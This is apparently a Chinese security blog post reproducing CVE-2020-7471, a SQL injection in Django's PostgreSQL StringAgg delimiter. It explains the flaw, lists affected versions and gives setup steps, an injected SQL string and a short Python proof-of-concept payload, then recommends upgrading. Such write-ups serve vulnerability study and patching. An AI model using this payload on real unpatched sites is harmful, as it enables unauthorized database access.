SwanQ's blog

To live is to Risk it All

0%

Django-sql注入漏洞复现-CVE-2020-7471

0x01 前言

Django作为开放源码的Web应用python框架,作为最有代表性的web框架,构建了多种网站和APP。Django负责处理网站开发中麻烦的部分,因此让开发者专注于应用程序的编写。其采用了MVT的软件设计模式,即模型(Model),视图(View)和模板(Template),注重组件的重用性和“可插拔性”。
原理
通过构造分隔符,传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)来注入恶意SQL语句。
漏洞的核心是StringAgg(delimiter),StringAgg聚合函数的delimiter参数存在SQL注入漏洞。

介绍下StringAgg,它会将输入的值使用 delimiter 分隔符级联起来。比如

1
Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-"))

这个查询操作就是查询 Info 对应的 postgres 数据表的 gender 列,将gender相同的 name 列使用横线连接聚合,输入如下:

漏洞位于django/django/contrib/postgres/aggregates/general.py

1
from django.contrib.postgres.aggregates import StringAgg

可以看到官方使用Value函数来防止注入,Value函数的内容如下

Value参数会被添加到sql参数列表,然后被Django内置的过滤机制过滤,来防注。

如何导致SQL 注入:django/django/contrib/postgres/aggregates/general.py

delimiter没有任何过滤,我们可以通过闭合单引号来利用注入

(此图摘自先知社区)

测试发现,当delimiter为单引号时,会报错。可以看出单引号未经过任何转义嵌入到了 SQL 语句中,然后需要追踪内部程序找出完整的 SQL 语句上下文。从上面的图中可以看出来,查询语句调用了self.cursor.execute,sql变量还没嵌入时,delimiter 的值如下:

(此图摘自先知社区)

运行后看到此时sql已加入delimiter为单引号的取值。因为此处sql为字符串,所以需要转义。若是postgres则会执行以下内容:

1
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1

此时三个单引号会导致语法错误,postgres的注释符为’)–。将delimiter设置为')--,可以成功注释from语句

为构造合法的上下文,将 delimiter设置为

**’-') AS “mydefinedname” FROM “vul_app_info” GROUP BY “vul_app_info”.”gender” LIMIT 1 OFFSET 1 – ‘ **

输出为

1
{'gender': 'male', 'mydefinedname': 'li-zhao'}

若设置delimiter为-

1
delimiter="-"

该语句使用StringAgg类,用于将输入的值使用delimiter分隔符级联。原本的语句中,查询info对应的gender列,并使用-来连接。就可以通过修改delimiter的内容来实现注入

输出为

1
2
{'gender': 'female', 'mydefinedname': 'zhang'}
{'gender': 'male', 'mydefinedname': 'li-zhao'}

POC如下:

1
2
3
4
5
6
7
8
9
payload = '-'
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
print("[+]注入后的的输出:")
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)

0x02 漏洞复现

  • 影响版本
    Django 1.11.x < 1.11.28
    Django 2.2.x < 2.2.10
    Django 3.0.x < 3.0.3
    Django 主开发分支
    其中Django 1.11.28、Django 2.2.10、Django 3.0.3不受影响。
  • 测试环境
    kalil
    Django 3.0.2

    0x03 环境搭建

    pip install django==3.0.2
    安装postgres数据库,创建数据库test,并修改数据库密码

    0x04 漏洞复现

  1. 由于刚才更改了数据库密码,于是更改配置文件的数据库名称以及密码
    进入CVE-2020-7471/sqlvul_projects/settings.py,修改数据库配置,如果之前安装postgres数据库使用的默认配置(包括密码),这里就不需修改任何任何配置.
    此处只需修改password为刚才设置密码。

  2. 再利用CVE-2020-7471/manage.py初始化测试数据库test数据库中的表

    初始化环境完成。
  3. 进入test数据库查看表
    进入数据库
    \c test
    查看全部表
    \d

    查看表vul_app_info的信息
    select * from vul_app_info;

    可以看到此刻表为空
  4. 执行POC向数据库写入数据

    若执行成功POC中将插入三条数据
    利用CVE-2020-7471/CVE-2020-7471.py写入数据


    写入成功。

    0x05 漏洞修复

    升级到Django最新版3.0.3

    参考